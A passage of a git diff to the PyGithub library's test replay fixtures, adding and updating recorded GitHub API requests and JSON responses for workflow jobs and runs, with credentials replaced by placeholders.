actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-02-17T17:03:47.000+01:00","completed_at":"2023-02-17T17:03:49.000+01:00"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-02-17T17:03:49.000+01:00","completed_at":"2023-02-17T17:03:49.000+01:00"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-02-17T17:03:50.000+01:00","completed_at":"2023-02-17T17:03:56.000+01:00"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-02-17T17:03:57.000+01:00","completed_at":"2023-02-17T17:04:58.000+01:00"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-02-17T17:04:59.000+01:00","completed_at":"2023-02-17T17:05:00.000+01:00"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-02-17T17:05:01.000+01:00","completed_at":"2023-02-17T17:05:01.000+01:00"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-02-17T17:05:01.000+01:00","completed_at":"2023-02-17T17:05:01.000+01:00"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-02-17T17:05:01.000+01:00","completed_at":"2023-02-17T17:05:01.000+01:00"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421879256","labels":["ubuntu-latest"],"runner_id":1,"runner_name":"Hosted Agent","runner_group_id":2,"runner_group_name":"GitHub Actions"}]} diff --git a/tests/ReplayData/WorkflowJob.testAttributes.txt b/tests/ReplayData/WorkflowJob.testAttributes.txt new file mode 100644 index 0000000000..cd8cb845b1 --- /dev/null +++ b/tests/ReplayData/WorkflowJob.testAttributes.txt @@ -0,0 +1,9 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/actions/jobs/11421878319/logs +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +302 +[('Server', 'GitHub.com'), ('Date', 'Wed, 15 Mar 2023 17:01:58 GMT'), ('Content-Type', 'text/html;charset=utf-8'), ('Content-Length', '0'), ('Location', 'https://pipelines.actions.githubusercontent.com/serviceHosts/d560a817-28d4-4544-a539-eb35c2a56899/_apis/pipelines/1/runs/5/signedlogcontent/5?urlExpires=2023-03-15T17%3A02%3A58.1305046Z&urlSigningMethod=HMACV1&urlSignature=abcdefghijklmn'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1678903315'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'A66C:CC26:9983F9A:9BF3547:6411FA05')] diff --git a/tests/ReplayData/WorkflowRun.setUp.txt b/tests/ReplayData/WorkflowRun.setUp.txt index ff0811a2bb..9f8ecd2624 100644 --- a/tests/ReplayData/WorkflowRun.setUp.txt +++ b/tests/ReplayData/WorkflowRun.setUp.txt @@ -6,17 +6,16 @@ None {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Date', 'Fri, 26 Jun 2020 04:57:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4968'), ('X-RateLimit-Reset', '1593150230'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"fa3880e1c40ac490225d387ac4cfce43"'), ('Last-Modified', 'Fri, 26 Jun 2020 00:26:41 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D198:691B:8567C:9A0E3:5EF58033')] -{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-06-26T00:26:41Z","pushed_at":"2020-06-26T04:51:23Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12857,"stargazers_count":3555,"watchers_count":3555,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1141,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":62,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1141,"open_issues":62,"watchers":3555,"default_branch":"master","permissions":{"admin":false,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":true,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1141,"subscribers_count":104} +[('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0706795c32b8ad63fd9012d601a24d0836c7778471b0132c68efde0f0d5eaf9d"'), ('Last-Modified', 'Fri, 13 Jan 2023 11:44:59 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '20'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '40'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBC4:1668:8154:D152:63C15A7C')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-01-13T11:44:59Z","pushed_at":"2023-01-13T13:19:21Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13674,"stargazers_count":5733,"watchers_count":5733,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1583,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":189,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1583,"open_issues":189,"watchers":5733,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1583,"subscribers_count":114} https GET api.github.com None -/repos/PyGithub/PyGithub/actions/runs/148274629 +/repos/PyGithub/PyGithub/actions/runs/3881497935 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Date', 'Fri, 26 Jun 2020 04:57:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4967'), ('X-RateLimit-Reset', '1593150230'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"3c9ed6e37979d7c274b39a804ad0aeaa"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D19A:244A:99554:ACEA1:5EF58034')] -{"id":148274629,"node_id":"MDExOldvcmtmbG93UnVuMTQ4Mjc0NjI5","head_branch":"more-precise-typing","head_sha":"f91c729d786efcc93db47dd755313a26172c105e","run_number":162,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/148274629","pull_requests":[],"created_at":"2020-06-26T04:51:26Z","updated_at":"2020-06-26T04:52:59Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/843925976","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"f91c729d786efcc93db47dd755313a26172c105e","tree_id":"0abaa826c490b60d95fe4a9865737c14ee664e4e","message":"More precise typing","timestamp":"2020-06-26T04:50:13Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":129349732,"node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","name":"PyGithub","full_name":"s-t-e-v-e-n-k/PyGithub","private":false,"owner":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"html_url":"https://github.com/s-t-e-v-e-n-k/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub","forks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/forks","keys_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/teams","hooks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/events","assignees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/tags","blobs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/languages","stargazers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscription","commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/merges","archive_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/downloads","issues_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/notifications{?since,all,participating}","labels_url